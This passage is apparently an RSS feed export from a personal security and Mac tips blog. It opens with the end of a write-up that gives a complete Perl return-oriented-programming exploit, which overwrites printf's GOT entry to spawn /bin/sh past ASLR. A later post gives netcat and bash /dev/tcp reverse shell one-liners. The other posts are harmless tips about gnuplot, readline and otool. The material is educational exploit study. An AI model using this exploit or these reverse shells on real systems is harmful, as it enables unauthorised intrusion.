<div class="de1"> 804851a<span class="sy0">:</span>       <span class="nu0">89</span> e5                   <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">esp</span><span class="sy0">,%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> 804851c<span class="sy0">:</span>       <span class="nu0">51</span>                      <span class="kw1">push</span>   <span class="sy0">%</span><span class="kw3">ecx</span></div>
</li>
<li class="li1">
<div class="de1"> 804851d<span class="sy0">:</span>       <span class="nu0">83</span> ec <span class="nu0">14</span>                <span class="kw1">sub</span>    $<span class="nu0">0&#215;14</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li2">
<div class="de2"> <span class="nu0">8048520</span><span class="sy0">:</span>       8b <span class="nu0">41</span> <span class="nu0">04</span>                <span class="kw1">mov</span>    <span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ecx</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048523</span><span class="sy0">:</span>       <span class="nu0">83</span> c0 <span class="nu0">04</span>                <span class="kw1">add</span>    $<span class="nu0">0&#215;4</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048526</span><span class="sy0">:</span>       8b <span class="nu0">00</span>                   <span class="kw1">mov</span>    <span class="br0">(</span><span class="sy0">%</span><span class="kw3">eax</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048528</span><span class="sy0">:</span>       <span class="nu0">89</span> <span class="nu0">04</span> <span class="nu0">24</span>                <span class="kw1">mov</span>    <span class="sy0">%</span><span class="kw3">eax</span><span class="sy0">,</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">esp</span><span class="br0">)</span></div>
</li>
<li class="li1">
<div class="de1"> 804852b<span class="sy0">:</span>       e8 <span class="nu0">84</span> ff ff ff          <span class="kw1">call</span>   80484b4 &lt;func&gt;</div>
</li>
<li class="li2">
<div class="de2"> <span class="nu0">8048530</span><span class="sy0">:</span>       <span class="nu0">83</span> c4 <span class="nu0">14</span>                <span class="kw1">add</span>    $<span class="nu0">0&#215;14</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048533</span><span class="sy0">:</span>       <span class="nu0">59</span>                      <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ecx</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048534</span><span class="sy0">:</span>       5d                      <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048535</span><span class="sy0">:</span>       8d <span class="nu0">61</span> fc                <span class="kw1">lea</span>    <span class="sy0">-</span><span class="nu0">0&#215;4</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ecx</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li1">
<div class="de1"> <span class="nu0">8048538</span><span class="sy0">:</span>       c3                      <span class="kw1">ret</span></div>
</li>
</ol>
</div>
<p>&nbsp;</p>
<h2>2. Observation and Strategy</h2>
<p>We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized.</p>
<p>Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section&#8217;s addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available.</p>
<p>The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc&#8217;s strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to &#8220;/bin/sh&#8221; string, 5) jump to the system function using indirect call (call *%eax).</p>
<p>&nbsp;</p>
<h2>3. Gadgets</h2>
<p>We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation.</p>
<p>1)</p>
<div class="asm">
<ol>
<li class="li1">
<div class="de1"><span class="nu0">0x80485a2</span> &lt;__libc_csu_init<span class="sy0">+</span><span class="nu0">82</span>&gt;<span class="sy0">:</span> <span class="kw1">add</span>    $<span class="nu0">0xc</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x80485a5</span> &lt;__libc_csu_init<span class="sy0">+</span><span class="nu0">85</span>&gt;<span class="sy0">:</span> <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ebx</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x80485a6</span> &lt;__libc_csu_init<span class="sy0">+</span><span class="nu0">86</span>&gt;<span class="sy0">:</span> <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">esi</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x80485a7</span> &lt;__libc_csu_init<span class="sy0">+</span><span class="nu0">87</span>&gt;<span class="sy0">:</span> <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">edi</span></div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">0x80485a8</span> &lt;__libc_csu_init<span class="sy0">+</span><span class="nu0">88</span>&gt;<span class="sy0">:</span> <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x80485a9</span> &lt;__libc_csu_init<span class="sy0">+</span><span class="nu0">89</span>&gt;<span class="sy0">:</span> <span class="kw1">ret</span></div>
</li>
</ol>
</div>
<p>2)</p>
<div class="asm">
<ol>
<li class="li1">
<div class="de1"><span class="nu0">0x804838c</span> &lt;_init<span class="sy0">+</span><span class="nu0">44</span>&gt;<span class="sy0">:</span>   <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x804838d</span> &lt;_init<span class="sy0">+</span><span class="nu0">45</span>&gt;<span class="sy0">:</span>   <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ebx</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x804838e</span> &lt;_init<span class="sy0">+</span><span class="nu0">46</span>&gt;<span class="sy0">:</span>   <span class="kw1">leave</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x804838f</span> &lt;_init<span class="sy0">+</span><span class="nu0">47</span>&gt;<span class="sy0">:</span>   <span class="kw1">ret</span></div>
</li>
</ol>
</div>
<p>3)</p>
<div class="asm">
<ol>
<li class="li1">
<div class="de1"><span class="nu0">0x80485ce</span> &lt;__do_global_ctors_aux<span class="sy0">+</span><span class="nu0">30</span>&gt;<span class="sy0">:</span>   <span class="kw1">add</span>    <span class="nu0">0xf475fff8</span><span class="br0">(</span><span class="sy0">%</span><span class="kw3">ebx</span><span class="br0">)</span><span class="sy0">,%</span><span class="kw3">eax</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x80485d4</span> &lt;__do_global_ctors_aux<span class="sy0">+</span><span class="nu0">36</span>&gt;<span class="sy0">:</span>   <span class="kw1">add</span>    $<span class="nu0">0&#215;4</span><span class="sy0">,%</span><span class="kw3">esp</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x80485d7</span> &lt;__do_global_ctors_aux<span class="sy0">+</span><span class="nu0">39</span>&gt;<span class="sy0">:</span>   <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ebx</span></div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">0x80485d8</span> &lt;__do_global_ctors_aux<span class="sy0">+</span><span class="nu0">40</span>&gt;<span class="sy0">:</span>   <span class="kw1">pop</span>    <span class="sy0">%</span><span class="kw3">ebp</span></div>
</li>
<li class="li2">
<div class="de2"><span class="nu0">0x80485d9</span> &lt;__do_global_ctors_aux<span class="sy0">+</span><span class="nu0">41</span>&gt;<span class="sy0">:</span>   <span class="kw1">ret</span></div>
</li>
</ol>
</div>
<p>4)</p>
<div class="asm">
<ol>
<li class="li1">
<div class="de1"><span class="nu0">0x80484af</span> &lt;frame_dummy<span class="sy0">+</span><span class="nu0">31</span>&gt;<span class="sy0">:</span>     <span class="kw1">call</span>   <span class="sy0">*%</span><span class="kw3">eax</span></div>
</li>
</ol>
</div>
<p>&nbsp;</p>
<h2>4. Final Exploit</h2>
<p>Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved:<br />
1) It dynamically retrieves system function&#8217;s address from the GOT<br />
2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously.<br />
3) Set up the stack address to have enough space for system call.</p>
<p>First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function&#8217;s address. The result of the &#8220;add 0xf475fff8(%ebx), %eax&#8221; instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy&#8217;s GOT entry, so the strcpy&#8217;s address in libc is added with the value in eax register.</p>
<p>Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section.</p>
<p>The final exploit in perl is shown below:</p>
<div class="perl">
<ol>
<li class="li1">
<div class="de1"><a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&#8220;<span class="es0">\x</span>a2<span class="es0">\x</span>85<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span> <span class="sy0">.</span> <span class="co1"># First Gadget</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;AAAAAAAA&#8221;</span> <span class="sy0">.</span> <span class="co1"># dummy</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>e8<span class="es0">\x</span>a2<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span> <span class="sy0">.</span> <span class="co1"># set ebp, poing to line 9 of this exploit string</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>8c<span class="es0">\x</span>83<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span> <span class="sy0">.</span> <span class="co1"># Second gadget</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">&#8220;<span class="es0">\x</span>c0<span class="es0">\x</span>52<span class="es0">\x</span>fc<span class="es0">\x</span>ff&#8221;</span> <span class="sy0">.</span><span class="st0">&#8220;<span class="es0">\x</span>14<span class="es0">\x</span>a0<span class="es0">\x</span>8e<span class="es0">\x</span>13AAAA&#8221;</span> <span class="sy0">.</span> <span class="st0">&#8220;/bin/sh;&#8221;</span>  <span class="sy0">.</span> <span class="st0">&#8220;A&#8221;</span>x48 <span class="sy0">.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>10<span class="es0">\x</span>a0<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span> <span class="sy0">.</span> <span class="co1"># GOT entry address of printf</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>30<span class="es0">\x</span>a0<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span>x0xa0 <span class="sy0">.</span> <span class="co1"># dummy</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>ce<span class="es0">\x</span>85<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span> <span class="sy0">.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>30<span class="es0">\x</span>a0<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span>x0x2 <span class="sy0">.</span> <span class="co1"># dummy</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">&#8220;<span class="es0">\x</span>30<span class="es0">\x</span>a0<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span> <span class="sy0">.</span> <span class="co1"># dummy ebp</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>af<span class="es0">\x</span>84<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span> <span class="sy0">.</span> <span class="co1"># call *%eax</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&#8220;<span class="es0">\x</span>30<span class="es0">\x</span>a0<span class="es0">\x</span>04<span class="es0">\x</span>08&#8243;</span><span class="sy0">;</span></div>
</li>
</ol>
</div>
<p>I also attach the binary file for people who are interested. <img src='http://divine-protection.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
(Download)</p>
<h2>5. Conclusion</h2>
<p>There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc.</p>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=20</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>gnuplot on Mac OS X (snow leopard)</title>
		<link>http://divine-protection.com/wordpress/?p=17</link>
		<comments>http://divine-protection.com/wordpress/?p=17#comments</comments>
		<pubDate>Fri, 23 Apr 2010 06:53:28 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=17</guid>
		<description><![CDATA[When we install the gnuplot on Mac OS X from the source code, we encounter this strange error message:Undefined symbols:&#8221;_rl_forced_update_d​isplay&#8221;, referenced from:_restore_prompt in&#8230;When we install the gnuplot on Mac OS X from the source code, we encounter this strange error message: Undefined symbols: &#8220;_rl_forced_update_display&#8221;, referenced from: _restore_prompt in command.o &#8220;_rl_ding&#8221;, referenced from: _alert in mouse.o [...]]]></description>
			<content:encoded><![CDATA[<p>When we install the gnuplot on Mac OS X from the source code, we encounter this strange error message:Undefined symbols:&#8221;_rl_forced_update_d​isplay&#8221;, referenced from:_restore_prompt in&#8230;When we install the gnuplot on Mac OS X from the source code, we encounter this strange error message:</p>
<blockquote><p>Undefined symbols:<br />
&#8220;_rl_forced_update_display&#8221;, referenced from:<br />
_restore_prompt in command.o<br />
&#8220;_rl_ding&#8221;, referenced from:<br />
_alert in mouse.o<br />
&#8220;_history_list&#8221;, referenced from:<br />
_write_history_list in history.o<br />
&#8220;_rl_complete_with_tilde_expansion&#8221;, referenced from:<br />
_rl_complete_with_tilde_expansion$non_lazy_ptr in plot.o<br />
&#8220;_rl_reset_after_signal&#8221;, referenced from:<br />
_main in plot.o<br />
&#8230;</p></blockquote>
<p>This error is due to the readline library in Mac OS X.<br />
If you look at the /usr/lib/libreadline.dylib file, the symlink is pointing at a library file that we do not know. (Seems not familiar to me) Thus, we can solve this problem by installing libreadline from the source, and change the symlink properly. In my case:</p>
<blockquote><p>sudo ln -s /usr/local/lib/libreadline.6.1.dylib /usr/lib/libreadline.dylib</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=17</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>objdump (disassemble) in Mac OS X</title>
		<link>http://divine-protection.com/wordpress/?p=15</link>
		<comments>http://divine-protection.com/wordpress/?p=15#comments</comments>
		<pubDate>Thu, 22 Apr 2010 06:51:15 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=15</guid>
		<description><![CDATA[There are two possible ways to do objdump in Mac OS X: 1) install GNU binutils; 2) use otool.1) Install GNU binutils from the source (download), or from the MacPort.2) Use otool, the Mac OS X&#8230;There are two possible ways to do objdump in Mac OS X: 1) install GNU binutils; 2) use otool. 1) [...]]]></description>
			<content:encoded><![CDATA[<p>There are two possible ways to do objdump in Mac OS X: 1) install GNU binutils; 2) use otool.1) Install GNU binutils from the source (download), or from the MacPort.2) Use otool, the Mac OS X&#8230;There are two possible ways to do objdump in Mac OS X: 1) install GNU binutils; 2) use otool.</p>
<p>1) Install GNU binutils from the source (download), or from the MacPort.</p>
<p>2) Use otool, the Mac OS X native utility. I summarize the usage of otool in the following:</p>
<p>disassemble text sections (= objdump -j .text -d &lt;file&gt;)</p>
<p>otool -tV &lt;file&gt;</p>
<p>disassemble a section (= objdump -j &lt;section&gt; -d &lt;file&gt;)</p>
<p>otool -V -s __text &lt;section&gt; &lt;file&gt;<br />
print out the shared library dependencies (= ldd &lt;file&gt;)</p>
<p>otool -L &lt;file&gt;<br />
print out the data sections (= objdump -j .data -s &lt;file&gt;)</p>
<p>otool -dv &lt;file&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=15</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netcat on Mac OS X</title>
		<link>http://divine-protection.com/wordpress/?p=10</link>
		<comments>http://divine-protection.com/wordpress/?p=10#comments</comments>
		<pubDate>Sat, 20 Mar 2010 06:48:14 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=10</guid>
		<description><![CDATA[netcat (nc) is a utility for arbitrary TCP and UDP connections and listens. According to the nc manual, -e option specifies filename  to exec after connect. Thus in general, we can easily make reverse shell by using this command: nc &#60;addr&#62; &#60;port&#62; -e /bin/sh However, nc on Mac does not have -e option. Instead, Mac [...]]]></description>
			<content:encoded><![CDATA[<p>netcat (nc) is a utility for arbitrary TCP and UDP connections and listens. According to the nc manual, -e option specifies filename  to exec after connect. Thus in general, we can easily make reverse shell by using this command:</p>
<blockquote><p>nc &lt;addr&gt; &lt;port&gt; -e /bin/sh</p></blockquote>
<p>However, nc on Mac does not have -e option.<br />
Instead, Mac has enabled their bash network redirection (/dev/tcp or /dev/udp). Thus instead of using nc for reverse binding shell, we can simply use this command:</p>
<blockquote><p>/bin/bash 0&lt;/dev/tcp/addr/port 1&gt;&amp;0 2&gt;&amp;0</p></blockquote>
<p>Note this technique will not work on default Debian machines. You have to enable bash network redirection to use this.</p>
<p>Useful reference: <a href="http://shudder.daemonette.org/source/BashNP-Guide.txt">http://shudder.daemonette.org/source/BashNP-Guide.txt</a></p>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=10</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Instruction Reference Manual in Mac</title>
		<link>http://divine-protection.com/wordpress/?p=8</link>
		<comments>http://divine-protection.com/wordpress/?p=8#comments</comments>
		<pubDate>Wed, 24 Feb 2010 07:45:05 +0000</pubDate>
		<dc:creator>funkyG</dc:creator>
				<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://divine-protection.com/wordpress/?p=8</guid>
		<description><![CDATA[Mac OS X, xcode has instruction reference manuals for x86, ARM, and PowerPC by default. open /Library/Application\ Support/Shark/Helpers/]]></description>
			<content:encoded><![CDATA[<p>Mac OS X, xcode has instruction reference manuals for x86, ARM, and PowerPC by default.</p>
<p>open /Library/Application\ Support/Shark/Helpers/</p>
]]></content:encoded>
			<wfw:commentRss>http://divine-protection.com/wordpress/?feed=rss2&#038;p=8</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

